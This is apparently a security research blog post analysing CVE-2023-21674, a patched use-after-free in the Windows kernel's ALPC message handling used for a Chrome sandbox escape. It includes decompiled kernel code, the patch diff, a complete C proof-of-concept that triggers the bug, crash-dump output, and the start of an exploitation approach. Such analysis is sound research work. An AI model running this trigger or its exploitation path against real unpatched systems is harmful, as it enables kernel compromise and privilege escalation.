Published in ·
--
This blog post is the second series about the vulnerabilities used in our 1-day full chain exploit we demonstrated on X. In this blog post, we will present how we escaped the Chrome sandbox by exploiting a Windows kernel vulnerability. The vulnerability is CVE-2023–21674, a Use-After-Free vulnerability in NTOS kernel.
This vulnerability is the first Windows kernel In-The-Wild vulnerability in 2023. Fermium-252, our threat intelligence service, has both a PoC and an exploit of this vulnerability since January 2023.
Advanced Local Procedure Call (ALPC) is an inter-process communication feature developed for fast message communication. It has been shipped since Windows Vista, and is mainly utilized to send and receive data between processes. Before ALPC, old Windows NT kernels used synchronous inter-process communication, so server and client had to wait for messages. However, ALPC supports asynchronous communication, thus it is sometimes referred to as asynchronous LPC.
Most of the ALPC APIs are undocumented, but you can refer to the analysis documents like csandker-Blog and Garnier-Reccon2008.
In Windows, there are many ALPC ports; they can be listed via WinObj.exe
.
ALPC ports are generally created by NtAlpcCreatePort
, and connected to by other processes via NtAlpcConnectPort[Ex]
, and accept clients by NtAlpcAcceptConnectPort
. After a connection is established, messages are passed via NtAlpcSendWaitReceivePort
. So the overall flow of ALPC communication is as follows.
You can check the simple ALPC server and client code from here
The flag ALPC_MSGFLG_SYNC_REQUEST(0x20000)
is the most important value for the vulnerability. As you might infer from the name, it determines whether ALPC messages are handled synchronously or not.
To understand the message flow of ALPC, let’s start with the NtAlpcSendWaitReceivePort
system call.
__int64 __fastcall NtAlpcSendWaitReceivePort(HANDLE Handle, ULONG flag, _PORT_MESSAGE *SendMessage, _ALPC_MESSAGE_ATTRIBUTES *SendMessageAttributes, _PORT_MESSAGE *ReceiveMessage, PSIZE_T BufferLength, _ALPC_MESSAGE_ATTRIBUTES *ReceiveMessageAttributes, PLARGE_INTEGER Timeout)
{
...
result = ObReferenceObjectByHandle(Handle, 1u, AlpcPortObjectType, prev_mode, (PVOID *)&alpc_port_object, 0i64);
if ( result >= 0 )
{
...
if ( _bittest((const int *)&flag_and, 0x11u) )// ALPC_MSGFLG_SYNC_REQUEST(0x20000)
{
if ( SendMessage )
{
// Check Some flags
if ( _bittest((const int *)&flag_and, 0x10u) )// ALPC_MSGFLG_RELEASE_MESSAGE(0x10000)
{
result = 0xC00000F0;
}
else if ( _bittest((const int *)&flag_and, 0x18u) ) // 0x1000000
{
result = 0xC00000F0;
}
else if ( ReceiveMessage )
{
// Both of `SendMessage` and `ReceiveMessage` must exist.
result = AlpcpProcessSynchronousRequest(
alpc_port_object, flag_and, SendMessage, SendMessageAttributes,
ReceiveMessage, BufferLength, ReceiveMessageAttributes, Timeout, prev_mode);
}
else
{
result = 0xC0000705;
}
}
else
{
result = 0xC00000F0;
}
}
else
{
dispatchContext.PortObject = alpc_port_object;
dispatchContext.Flags = flag_and;
if ( !SendMessage )
{
if ( ReceiveMessage )
// Receive Message via calling AlpcpReceiveMessage
}
if ( _bittest((const int *)&flag_and, 0x18u) ) // 0x1000000
{
result = 0xC00000F0;
}
else
{
// Send Message via calling AlpcpSendMessage
}
}
}
...
}
NtAlpcSendWaitReceivePort
retrieves an ALPC object (alpc_port_object
) from a user-supplied handle, and takes different branches according to flag
. When the flag is set, both sending and receiving messages must be done consecutively through the function AlpcpProcessSynchronousRequest
; in this case, both SendMessage
and ReceiveMessage
should not be NULL
. On the other hand, when the flag is not set, a user can perform only one task at a time, either sending or receiving a message depending on the existence of SendMessage
and ReceiveMessage
arguments.
__int64 __fastcall AlpcpProcessSynchronousRequest(_ALPC_PORT *alpc_port_object, unsigned int flag_and, _PORT_MESSAGE *SendMessage, _ALPC_MESSAGE_ATTRIBUTES *SendMessageAttributes, _PORT_MESSAGE *ReceiveMessage, PSIZE_T BufferLength, _ALPC_MESSAGE_ATTRIBUTES *ReceiveMessageAttributes, PLARGE_INTEGER timeout, int prev_mode)
{
...
/*
[1]. Check Address and Get Port Objects
~~~ Omitted ~~~
*/
if ( ConnectionPort && ObReferenceObjectSafe((__int64)ConnectionPort) )
{
u1State = alpc_port_object->u1.State;
...
// [2].Send message
dispatchContext.PortObject = alpc_port_object;
dispatchContext.Flags = flag_and;
if ( (u1State & 0x1000) != 0 )
result = AlpcpSendLegacySynchronousRequest(alpc_port_object, &dispatchContext, SendMessage, prev_mode);
else
result = AlpcpSendMessage(&dispatchContext, SendMessage, SendMessageAttributes, prev_mode);
if ( result < 0 )
goto LABEL_95;
if ( _bittest((const int *)&flag_and, 0x14u) )
{
prevmode = 1;
}
else
{
prevmode = KeGetCurrentThread()->PrevMode;
}
RecvMesssage = 0i64;
dispatchContext.PortObject = ConnectionPort;
// [3].Receive message
result = AlpcpReceiveSynchronousReply(
&dispatchContext.PortObject,
v34,
(_KALPC_MESSAGE **)&RecvMesssage,
AllocAttr,
timeout); // Copy the Received Data
AlpcpProcessSynchronousRequest
retrieves an ALPC port object after validating the address of arguments ([1]
). Then, it sends an ALPC message ([2]
) and synchronously receives the response through AlpcpReceiveSynchronousReply
([3]
).
Let’s see AlpcpSendMessage
to analyze the process of sending a message. (AlpcpSendLegacySynchronousRequest
also calls AlpcpSendMessage
internally.)
__int64 __fastcall AlpcpSendMessage(_ALPC_DISPATCH_CONTEXT *dispatchContext, _PORT_MESSAGE *sendPortMsg, _ALPC_MESSAGE_ATTRIBUTES *sendMsgAttributes, char accessMode)
{
...
// Copy the user message to `copied_sendMsg`
// [4]. Validate the message
result = AlpcpValidateMessage((unsigned __int16 *)&copied_sendMsg, flags_check);
if ( (int)result < 0 )
return result;
MessageID = copied_sendMsg.MessageId;
...
// [5]. Get Message or Create Message
if ( MessageID )
{
dispatch_ctx_flag |= 0x10u;
result = AlpcpLookupMessage(port_obj, MessageID, copied_sendMsg.CallbackId, accessMode, &alpc_message);
...
// Validate `alpc_message`
}
else{
...
// nt!AlpcpAllocateMessageFunction4
object = (PSLIST_ENTRY)qword_140CEBC70(dword_140CEBC64, dword_140CEBC6C, dword_140CEBC68);
if ( !object )
return 3221225626i64;
alpc_message_ = (_KALPC_MESSAGE *)(object + 48);
...
// Setup the Data for `alpc_message`
} // [6]. Dispatch Message
dispatchContext->Message = alpc_message_;
dispatchContext->TotalLength = copied_sendMsg.u1.s1.TotalLength;
*(_DWORD *)&dispatchContext->Type = copied_sendMsg.u2.ZeroInit;
if ( alpc_message_->OwnerPort )
{
// The message is found by `AlpcpLookupMessage`
if ( alpc_message_->WaitingThread )
result = AlpcpDispatchReplyToWaitingThread(dispatchContext);
else
result = AlpcpDispatchReplyToPort(dispatchContext);
}
else
{
// The message is newly created
result = AlpcpDispatchNewMessage(dispatchContext);
}
}
AlpcpSendMessage
first copies the user message to kernel memory and validates it through AlpcpValidateMessage
([4]
). If the message has MessageID
, lookup is performed on the MessagedID
to retrieve the corresponding message object. Otherwise, a new ALPC message object is created ([5]
).
And then, at [6]
, the message is handled by AlpcpDispatchReplyToWaitingThread
, AlpcpDispatchReplyToPort
, or AlpcpDispatchNewMessage
depending on the fields in the message. These functions handle ALPC_MSGFLG_SYNC_REQUEST
in a similar way, while other processing parts may be different.
Here’s the simplified code for the handler of the ALPC_MSGFLG_SYNC_REQUEST
.
// Setup message and Insert message into QUEUE// The common routine for `ALPC_MSGFLG_SYNC_REQUEST` Flag
curthread = (struct _ETHREAD *)KeGetCurrentThread();
if(flag & 0x20000 != 0) // ALPC_MSGFLG_SYNC_REQUEST
{
message->WaitingThread = curthread;
_InterlockedExchange64((volatile __int64 *)&curthread->AlpcMessageId, (__int64)message);
}
With ALPC_MSGFLG_SYNC_REQUEST
flag set, WaitingThread
in the message is set to the current thread object, and AlpcMessageId
of the current thread is set to the address of the message. Since the message will be processed synchronously, the target thread of the response must be the current thread.
On the other hand, if a message is sent without the ALPC_MSGFLG_SYNC_REQUEST
flag, WaitingThread
is initialized to NULL
as shown in the following code.
__int64 __fastcall AlpcpDispatchReplyToWaitingThread(_ALPC_DISPATCH_CONTEXT *dispatchContext)
{
...
portQueue = message->PortQueue;
if ( portQueue ){
// Remove message from port Queue
}
...
// ALPC_MSGFLG_SYNC_REQUEST is NOT set
if ( (flags & 0x20000) == 0 )
{
message->WaitingThread = NULL;
...
}
}
After sending the message in AlpcpSendMessage
, AlpcpReceiveSynchronousReply
is called ([3]
) to get the response. ([3]
is located in the pretty top of this blog.)
__int64 __fastcall AlpcpReceiveSynchronousReply(
_ALPC_DISPATCH_CONTEXT *dispatchContext,
KPROCESSOR_MODE prevmode,
_KALPC_MESSAGE **recvMsg,
int AllocatedAttributes,
PLARGE_INTEGER timeout)
{ CurrentThread = KeGetCurrentThread();
PortObject = dispatchContext->PortObject;
// [7]. Blocking while receiving
result = AlpcpSignalAndWait(dispatchContext, &CurrentThread->1160, WrLpcReply, prevmode, timeout, 1);
// [8]. Get Message and Nullify AlpcMessageId
message = (_KALPC_MESSAGE *)_InterlockedExchange64((volatile __int64 *)&CurrentThread->AlpcMessageId, 0i64);
msgState = message->u1.State & 0xFFFFFFF8;
...
// Check Message State
if ( result_ != NT_SUCCESS )
{
// Something ERROR
if ( message->WaitingThread == CurrentThread )
{
// [9]. Initialize the WaitingThread to NULL
message->WaitingThread = 0i64;
--WORD1(message[-1].PortMessage.DoNotUseThisField);
if ( (message->u1.State & 0x80u) != 0 )
AlpcpUnlockMessage((ULONG_PTR)message);
else
AlpcpCancelMessage(port_obj, message, 0);
return result_;
}
AlpcpWaitForSingleObject(&CurrentThread->1160, WrLpcReply, 0, 0, 0i64);
v15 = message->u1.State;
result_ = 0;
}
...
// [10]. Check that Message is Ready
if ( _bittest((const int *)&msgState, 9u) )
{
msgAttr = (message->MessageAttributes.SecurityData != 0i64 ? 0x80000000 : 0) | 0x40000000;
if ( !message->MessageAttributes.View )
msgAttr = message->MessageAttributes.SecurityData != 0i64 ? 0x80000000 : 0;
if ( !message->MessageAttributes.HandleData )
msgAttr = msgAttr;
else
msgAttr = msgAttr | 0x10000000;
if ( (msgAttr & AllocatedAttributes) == 0 )
{
message->PortMessage.u2.s2.Type &= 0xDFFFu;
*recvMsg = message;
return result_;
}
}
...
}
AlpcpReceiveSynchronousReply
waits for the response by calling AlpcpSignalAndWait
, and the calling thread is blocked. When another process sends the response for the message, WaitingThread
of the message will be updated depending on the flag value of the replying process ([7]
). If the process replies without the ALPC_MSGFLG_SYNC_REQUEST
flag, then WaitingThread
of the message will be changed to NULL
as explained above; otherwise, it will be the address of the replying thread.
After AlpcpSignalAndWait
returns, the message object in AlpcMessageId
of the current thread is retrieved, and the AlpcMessageId
field is nullified ([8]
). If AlpcpSignalAndWait
returns any error for some reasons such as timeout, then the result
will not be NT_SUCCESS
, and WaitingThread
of the message will remain unchanged. In this case, WaitingThread
of the message is set to NULL
([9]
).
If the message is successfully received, AlpcpReceiveSynchronousReply
checks the state of the message and validates its attributes ([10]
). When all the checks pass, the message is returned to be copied into the user memory.
To sum up, at the end of the AlpcpReceiveSynchronousReply
function, AlpcMessageId
of the current thread will be changed to NULL
, and WaitingThread
of the message will have either NULL
or the replying thread.
The following is how the value of WaitingThread
and AlpcMessageId
change during ALPC communication between two entities. Here the Thread1
initiates a connection and sends a message with ALPC_MSGFLG_SYNC_REQUEST
, and the Thread2
responses to the message without ALPC_MSGFLG_SYNC_REQUEST
.
In the case above, both WaitingThread
of the message and AlpcMessageId
of the current thread will be always NULL
if the communication is done without any errors.
However, let’s consider another scenario where there is only Thread1
and it returns immediately after sending an ALPC message with ALPC_MSGFLG_SYNC_REQUEST
set. Then WaitingThread
of the message points to the current thread. In this situation, if Thread1
is terminated (i.e., it is freed), then the WaitingThread
of the message will be a dangling pointer which points to the freed thread object. Therefore, any dereferences to it afterwards will results in a Use-After-Free vulnerability.
This is the root cause of CVE-2023–21674, and it can be triggered from the system call NtWaitForWorkViaWorkerFactory
.
__int64 __fastcall NtWaitForWorkViaWorkerFactory(HANDLE Handle, struct _FILE_IO_COMPLETION_INFORMATION *MiniPackets, unsigned int Count, _DWORD *PacketsReturned, struct _WORKER_FACTORY_DEFERRED_WORK *DeferredWork)
{
...
DeferredWork_ = DeferredWork;
...
if ( (DeferredWork_.Flags & 1) != 0 )
{
sendPortMsg = DeferredWork_.AlpcSendMessage;
sendMessageFlags = DeferredWork_.AlpcSendMessageFlags;
sendMessagePort = DeferredWork_.AlpcSendMessagePort;
memset(&dispatch_ctx, 0, sizeof(dispatch_ctx));
sendMessageFlags_and = sendMessageFlags & 0xFFFF0000;
...
if ( ObReferenceObjectByHandle(sendMessagePort, 1u, AlpcPortObjectType, v121, (PVOID *)&alpc_port, 0i64) >= 0 )
{
if ( _bittest((const int *)&sendMessageFlags_and, 0x12u) )
{
...
dispatch_ctx.PortObject = alpc_port;
dispatch_ctx.Flags = sendMessageFlags_and | 4;
dispatch_ctx.TargetPort = 0i64;
dispatch_ctx.TargetThread = 0i64;
dispatch_ctx.DirectEvent.Value = 0i64;
result = AlpcpSendMessage(&dispatch_ctx, sendPortMsg, 0i64, v121)
...
}
NtWaitForWorkViaWorkerFactory
takes user-supplied DeferredWork
as the last argument, which is represented by _WORKER_FACTORY_DEFERRED_WORK
structure.
// https://github.com/winsiderss/phnt/blob/7c1adb8a7391939dfd684f27a37e31f18d303944/ntexapi.h#L1217typedef struct _WORKER_FACTORY_DEFERRED_WORK
{
struct _PORT_MESSAGE *AlpcSendMessage;
PVOID AlpcSendMessagePort;
ULONG AlpcSendMessageFlags;
ULONG Flags;
} WORKER_FACTORY_DEFERRED_WORK, *PWORKER_FACTORY_DEFERRED_WORK;
_WORKER_FACTORY_DEFERRED_WORK
has a pointer to an ALPC message and a flag. Therefore, we can trigger the vulnerability by calling NtWaitForWorkViaWorkerFactory
with ALPC_MSGFLG_SYNC_REQUEST
set.
__int64 __fastcall NtWaitForWorkViaWorkerFactory(HANDLE Handle, struct _FILE_IO_COMPLETION_INFORMATION *MiniPackets, unsigned int Count, _DWORD *PacketsReturned, struct _WORKER_FACTORY_DEFERRED_WORK *DeferredWork)
{
...
DeferredWork_ = DeferredWork;
...
if ( (DeferredWork_.Flags & 1) != 0 )
{
sendPortMsg = DeferredWork_.AlpcSendMessage;
sendMessageFlags = DeferredWork_.AlpcSendMessageFlags;
sendMessagePort = DeferredWork_.AlpcSendMessagePort;
memset(&dispatch_ctx, 0, sizeof(dispatch_ctx));
sendMessageFlags_and = sendMessageFlags & 0xFFFF0000;
+ if ( _bittest((const int *)&sendMessageFlags_and, 0x11u) ) // checks ALPC_MSGFLG_SYNC_REQUEST
+ goto ERROR;
...
if ( ObReferenceObjectByHandle(sendMessagePort, 1u, AlpcPortObjectType, v121, (PVOID *)&alpc_port, 0i64) >= 0 )
{
if ( _bittest((const int *)&sendMessageFlags_and, 0x12u) )
{
...
dispatch_ctx.PortObject = alpc_port;
dispatch_ctx.Flags = sendMessageFlags_and | 4;
dispatch_ctx.TargetPort = 0i64;
dispatch_ctx.TargetThread = 0i64;
dispatch_ctx.DirectEvent.Value = 0i64;
result = AlpcpSendMessage(&dispatch_ctx, sendPortMsg, 0i64, v121)
...
}
The patch is very simple. If the AlpcSendMessageFlags
value includes ALPC_MSGFLG_SYNC_REQUEST
, then NtWaitForWorkViaWorkerFactory
will return an error.
To trigger the vulnerability, we should send an ALPC message through NtWaitForWorkViaWorkerFactory
.
// https://github.com/winsiderss/phnt/blob/7c1adb8a7391939dfd684f27a37e31f18d303944/ntexapi.h#L1225NTSYSCALLAPI
NTSTATUS
NTAPI
NtWaitForWorkViaWorkerFactory(
_In_ HANDLE WorkerFactoryHandle,
_Out_writes_to_(Count, *PacketsReturned) struct _FILE_IO_COMPLETION_INFORMATION *MiniPackets,
_In_ ULONG Count,
_Out_ PULONG PacketsReturned,
_In_ struct _WORKER_FACTORY_DEFERRED_WORK* DeferredWork
);
As shown in the above function definition, we need a handle of WorkerFactory
object. This object can be created by calling NtCreateWorkerFactory
.
NTSTATUS NtCreateWorkerFactory(
_Out_ PHANDLE WorkerFactoryHandleReturn,
_In_ ACCESS_MASK DesiredAccess,
_In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,
_In_ HANDLE CompletionPortHandle, // We need CompletionPortHandle
_In_ HANDLE WorkerProcessHandle,
_In_ PVOID StartRoutine,
_In_opt_ PVOID StartParameter,
_In_opt_ ULONG MaxThreadCount,
_In_opt_ SIZE_T StackReserve,
_In_opt_ SIZE_T StackCommit
);
To successfully create a WorkerFactory
object via the NtCreateWorkerFactory
system call, a handle of IoCompletion
object is also required. It can be created through NtCreateIoCompletion
.
NTSTATUS NtCreateIoCompletion(
OUT PHANDLE IoCompletionHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
IN ULONG
Finally, we can create a WorkerFactory
object like the following.
ntstatus = NtCreateIoCompletion(&hIoComp, GENERIC_ALL, NULL, 1);
if (ntstatus != 0) {
printf("[-] NtCreateIoCompletion ERROR : %p\n", ntstatus);
return -1;
}
printf("[+] IO_COMPLETION_HANDLE : %p\n", hIoComp);ntstatus = NtCreateWorkerFactory(&hWorkerFactory, GENERIC_ALL, NULL, hIoComp, GetCurrentProcess(), NULL, NULL, 0, 0, 0);
if (ntstatus != 0) {
printf("[-] NtCreateWorkerFactory ERROR : %p\n", ntstatus);
return -1;
}
printf("[+] WORKER_FACTORY_HANDLE : %p\n", hWorkerFactory);
Next, we need an ALPC port handle. NtAlpcCreatePort
requires a name of ALPC port like \RPC Control\Test
, but we can also create an anonymous port by passing NULL
to ObjectAttributes
.
RtlSecureZeroMemory(&serverPortAttr, sizeof(serverPortAttr));
serverPortAttr.MaxMessageLength = MAX_MSG_LEN; // For ALPC this can be max of 64KB
serverPortAttr.Flags = 0x20000;
// NtAlpcCreatePort (_Out_ PHANDLE PortHandle, _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, _In_opt_ PALPC_PORT_ATTRIBUTES PortAttributes)
ntstatus = NtAlpcCreatePort(&hPort, NULL, &serverPortAttr);
if (ntstatus != 0) {
printf("[-] NtAlpcCreatePort ERROR : %p\n", ntstatus);
return -1;
}
printf("[+] ALPC_PORT : %p\n", hPort);
Finally, we are ready to trigger the vulnerability by calling the NtWaitForWorkViaWorkerFactory
system call with the proper arguments.
LPVOID CreateMsgMem(PPORT_MESSAGE PortMessage, SIZE_T MessageSize, LPVOID Message)
{
/*
It's important to understand that after the PORT_MESSAGE struct is the message data
*/
LPVOID lpMem = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, MessageSize + sizeof(PORT_MESSAGE));
memmove(lpMem, PortMessage, sizeof(PORT_MESSAGE));
memmove((BYTE*)lpMem + sizeof(PORT_MESSAGE), Message, MessageSize);
return(lpMem);
}int trigger() {
NTSTATUS ntstatus;
ULONG outlen = 0;
ntstatus = NtCreateIoCompletion(&hIoComp, GENERIC_ALL, NULL, 1);
if (ntstatus != 0) {
printf("[-] NtCreateIoCompletion ERROR : %p\n", ntstatus);
return -1;
}
printf("[+] IO_COMPLETION_HANDLE : %p\n", hIoComp);
ntstatus = NtCreateWorkerFactory(&hWorkerFactory, GENERIC_ALL, NULL, hIoComp, GetCurrentProcess(), NULL, NULL, 0, 0, 0);
if (ntstatus != 0) {
printf("[-] NtCreateWorkerFactory ERROR : %p\n", ntstatus);
return -1;
}
printf("[+] WORKER_FACTORY_HANDLE : %p\n", hWorkerFactory);
PORT_MESSAGE pmSend;
LPVOID lpMem;
ALPC_PORT_ATTRIBUTES serverPortAttr;
RtlSecureZeroMemory(&serverPortAttr, sizeof(serverPortAttr));
serverPortAttr.MaxMessageLength = MAX_MSG_LEN; // For ALPC this can be max of 64KB
serverPortAttr.Flags = 0x20000;
ntstatus = NtAlpcCreatePort(&hPort, NULL, &serverPortAttr);
if (ntstatus != 0) {
printf("[-] NtAlpcCreatePort ERROR : %p\n", ntstatus);
return -1;
}
printf("[+] ALPC_PORT : %p\n", hPort);
piocomp = (PFILE_IO_COMPLETION_INFORMATION)malloc(0x100);
pwfdw = (PWORKER_FACTORY_DEFERRED_WORK)malloc(0x100);
RtlSecureZeroMemory(&pmSend, sizeof(pmSend));
pmSend.u1.s1.DataLength = MSG_LEN;
pmSend.u1.s1.TotalLength = pmSend.u1.s1.DataLength + sizeof(pmSend);
pmSend.MessageId = 0;
pmSend.CallbackId = 0;
lpMem = CreateMsgMem(&pmSend, MSG_LEN, (LPVOID)L"AAAAAAAAAAAAAAAAAAA");
pwfdw->AlpcSendMessage = (PPORT_MESSAGE)lpMem;
pwfdw->AlpcSendMessagePort = hPort;
pwfdw->AlpcSendMessageFlags = (1 << 0x11); // ALPC_MSGFLG_SYNC_REQUEST
pwfdw->Flags = 0x1;
printf("[+] Trigger Vulnerability\n");
NtWaitForWorkViaWorkerFactory(hWorkerFactory, piocomp, 1, &outlen, pwfdw);
return 0;
};
int main() {
// Create Thread
DWORD threadid = 0;
HANDLE hthread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)trigger, NULL, 0, &threadid);
//WaitForSingleObject(hthread, INFINITE);
Sleep(500);
TerminateThread(hthread, -1);
CloseHandle(hthread);
printf("[+] Close Some Handles\n");
CloseHandle(hWorkerFactory);
CloseHandle(hIoComp);
CloseHandle(hPort); // Trigger UAF
}
We call NtWaitForWorkViaWorkerFactory
in a separate thread, and then terminates the thread by calling TerminateThread
and CloseHandle
; these steps will create an ALPC message object that has a dangling pointer in its WaitingThread
field. Eventually, closing the port performs cleanup for ALPC objects, which dereferences the dangling pointer (UAF).
__int64 __fastcall AlpcpCancelMessage(_ALPC_PORT *a1, _KALPC_MESSAGE *msg, int a3)
{
...
freed_thread = msg->WaitingThread;
if ( freed_thread )
{
// Freed thread is referenced here when the ALPC object is freed.
if ( (_KALPC_MESSAGE *)_InterlockedExchange64((volatile __int64 *)&freed_thread->AlpcMessageId, 0i64) == msg )
{
HIWORD(msg[-1].PortMessage.8) -= 2;
msg->WaitingThread = 0i64;
KeReleaseSemaphoreEx((__int64)&freed_thread->1160, 1u, 1, v20, 2);
}
}
...
}
0: kd> g
Breakpoint 0 hit
nt!AlpcpCancelMessage+0x353:
fffff801`4d8bc737 48878128050000 xchg rax,qword ptr [rcx+528h]0: kd> !object @rcx
Object: ffffd38aa9d76080 Type: (ffff9901c3b7a000)
ObjectHeader: ffffd38aa9d76050 (new version)
HandleCount: 0 PointerCount: 0
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Ref Count is ZERO!!!!
0: kd> !pool @rcx
Pool page ffffd38aa9d76080 region is Nonpaged pool
*ffffd38aa9d76000 size: 700 previous size: 0 (Free ) *.... (Protected) Process: 4e48033601c30916
Owning component : Unknown (update pooltag.txt)
==> @rcx is freed
You can see crash if the verifier is enabled on ntoskrnl.exe
.
*** Fatal System Error: 0x00000050
(0xFFFFE70E9EB60BA8,0x0000000000000002,0xFFFFF80766AC8737,0x0000000000000002)Break instruction exception - code 80000003 (first chance)
A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.
A fatal system error has occurred.
For analysis of this file, run !analyze -v
nt!DbgBreakPointWithStatus:
fffff807`6680e840 cc int 3
1: kd> !analyze -v
Connected to Windows 10 19041 x64 target at (Mon Jan 16 20:18:10.078 2023 (UTC + 9:00)), ptr64 TRUE
Loading Kernel Symbols
...............................................................
................................................................
............................................................
Loading User Symbols
......
Loading unloaded module list
......
*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************
PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced. This cannot be protected by try-except.
Typically the address is just plain bad or it is pointing at freed memory.
Arguments:
Arg1: ffffe70e9eb60ba8, memory referenced.
Arg2: 0000000000000002, X64: bit 0 set if the fault was due to a not-present PTE.
bit 1 is set if the fault was due to a write, clear if a read.
bit 3 is set if the processor decided the fault was due to a corrupted PTE.
bit 4 is set if the fault was due to attempted execute of a no-execute PTE.
- ARM64: bit 1 is set if the fault was due to a write, clear if a read.
bit 3 is set if the fault was due to attempted execute of a no-execute PTE.
Arg3: fffff80766ac8737, If non-zero, the instruction address which referenced the bad memory
address.
Arg4: 0000000000000002, (reserved)
...
TRAP_FRAME: ffffa701a41aa650 -- (.trap 0xffffa701a41aa650)
NOTE: The trap frame does not contain all registers.
Some register values may be zeroed or incorrect.
rax=0000000000000000 rbx=0000000000000000 rcx=ffffe70e9eb60680
rdx=0000000000000000 rsi=0000000000000000 rdi=0000000000000000
rip=fffff80766ac8737 rsp=ffffa701a41aa7e0 rbp=0000000000000001
r8=00000000ffffffff r9=7fffe70e9eb667b8 r10=7ffffffffffffffc
r11=ffffa701a41aa8b0 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0 nv up ei ng nz na pe nc
nt!AlpcpCancelMessage+0x353:
fffff807`66ac8737 48878128050000 xchg rax,qword ptr [rcx+528h] ds:ffffe70e`9eb60ba8=????????????????
Resetting default scope
STACK_TEXT:
ffffa701`a41a9bf8 fffff807`669214a2 : ffffa701`a41a9d60 fffff807`66789a50 fffff807`6640c000 00000000`00000000 : nt!DbgBreakPointWithStatus
ffffa701`a41a9c00 fffff807`66920a86 : fffff807`00000003 ffffa701`a41a9d60 fffff807`6681c640 00000000`00000050 : nt!KiBugCheckDebugBreak+0x12
ffffa701`a41a9c60 fffff807`668053a7 : 00000000`00000000 00000000`00000000 ffffe70e`9eb60ba8 ffffe70e`9eb60ba8 : nt!KeBugCheck2+0x946
ffffa701`a41aa370 fffff807`6684021d : 00000000`00000050 ffffe70e`9eb60ba8 00000000`00000002 ffffa701`a41aa650 : nt!KeBugCheckEx+0x107
ffffa701`a41aa3b0 fffff807`66645a40 : 00000000`00000000 00000000`00000002 ffffa701`a41aa6d0 00000000`00000000 : nt!MiSystemFault+0x1dc7ad
ffffa701`a41aa4b0 fffff807`66814dd8 : ffffe70e`9e3b0000 fffff807`66702dcc ffffe70e`76b4ef80 ffffe70e`71215100 : nt!MmAccessFault+0x400
ffffa701`a41aa650 fffff807`66ac8737 : ffffd70c`f67eace0 ffffd70c`00000000 00000000`00000000 00000000`00000000 : nt!KiPageFault+0x358
ffffa701`a41aa7e0 fffff807`66ac64e1 : ffffffff`00000001 ffffe70e`9e70ee20 ffffe70e`00010000 ffffe70e`9e70ee20 : nt!AlpcpCancelMessage+0x353
ffffa701`a41aa860 fffff807`66ac624f : ffffffff`ffffffff ffffe70e`9e70ee20 ffffe70e`9e70ef80 ffffe70e`79760f00 : nt!AlpcpFlushQueue+0xfd
ffffa701`a41aa8a0 fffff807`66ac608b : ffffe70e`00000000 ffffffff`ffffffff ffffa701`a41aaa39 ffffe70e`9e70ef80 : nt!AlpcpFlushMessagesPort+0x27
ffffa701`a41aa8e0 fffff807`66ac5fca : ffffe70e`9e70ee20 00000000`00000000 ffffe70e`9eb66380 ffffa701`a41aaa39 : nt!AlpcpDoPortCleanup+0x8f
ffffa701`a41aa920 fffff807`66a101ef : ffffd70c`f2ccd2b0 00000000`00000000 ffffd70c`00000000 ffffd70c`f2ccd2b0 : nt!AlpcpClosePort+0x4a
ffffa701`a41aa950 fffff807`66a141cc : 00000000`000000ac 00000000`00000000 00000000`00000000 00000000`00000000 : nt!ObCloseHandleTableEntry+0x51f
ffffa701`a41aaa90 fffff807`66818af5 : ffffe70e`9eb60600 ffffe70e`7f4ae680 ffffa701`a41aab80 ffffe70e`00000000 : nt!NtClose+0xec
ffffa701`a41aab00 00007ffb`de2ed2a4 : 00007ffb`dbfe6575 00000000`00000000 00000000`00001b04 00000204`f3f78320 : nt!KiSystemServiceCopyEnd+0x25
000000a4`4bb7faf8 00007ffb`dbfe6575 : 00000000`00000000 00000000`00001b04 00000204`f3f78320 00000000`00000000 : ntdll!NtClose+0x14
000000a4`4bb7fb00 00007ff7`e4fe148f : 00007ff7`e4fe3558 00000000`00000000 000000a4`4bb7faf8 00000000`00000000 : KERNELBASE!CloseHandle+0x45
To exploit the vulnerability, we need to find a location where WaitingThread
is used. We found several ones such as NtAlpcOpenSenderThread
, NtAlpcOpenSenderProcess
, AlpcpGetEffectiveTokenMessage
, LpcpCopyRequestData
, and so on. (WaitingThread
is also used in sending messages, and you can use that code for exploitation. But, we will not cover the part in this blog.)
__int64 __fastcall NtAlpcOpenSenderThread(
PHANDLE ThreadHandle,
HANDLE a2,
PPORT_MESSAGE a3,
bool a4,
int access_mask,
_OWORD *a6)
{
...
v14 = AlpcpLookupMessage((_ALPC_PORT *)DmaAdapter, Source2.MessageId, Source2.CallbackId, a4, &alpc_message);
if ( v14 < 0 ) { /* ERROR */ }
else
{
...
waiting_thread = alpc_message->WaitingThread;
if ( waiting_thread && RtlCompareMemory(&waiting_thread->Cid, &Source2.8, 0x10ui64) == 16 )
{
ObfReferenceObject(waiting_thread); // Reference
AlpcpUnlockMessage((ULONG_PTR)v17);
v14 = PsOpenThread((HANDLE *)phthread, access_mask, &object_attributes, &Source2.8, 0, PreviousMode);
DereferenceObject((PADAPTER_OBJECT)waiting_thread); // Dereference
...
}
__int64 __fastcall NtAlpcOpenSenderProcess(
PHANDLE ProcessHandle,
void *a2,
PPORT_MESSAGE a3,
__int64 a4,
ACCESS_MASK acess_mask,
__int128 *a6)
{
...
v14 = AlpcpLookupMessage((_ALPC_PORT *)DmaAdapter, Source2.MessageId, Source2.CallbackId, a4, &alpc_message);
if ( v14 < 0 ) { /* ERROR */ }
else
{
...
waiting_thread = alpc_message->WaitingThread;
if ( waiting_thread && RtlCompareMemory(&waiting_thread->Cid, &Source2.8, 0x10ui64) == 16 )
{
process = (_EPROCESS *)waiting_thread->Tcb.Process;
ObfReferenceObjectWithTag(process, 0x63706C41u); // Reference
AlpcpUnlockMessage((ULONG_PTR)alpc_message);
v14 = PsOpenProcess(&v26, acess_mask, &v30, (__int128 *)((char *)&Source2 + 8), 0, prev_mode);
ObfDereferenceObjectWithTag(process, 0x63706C41u); // Dereference ...
}
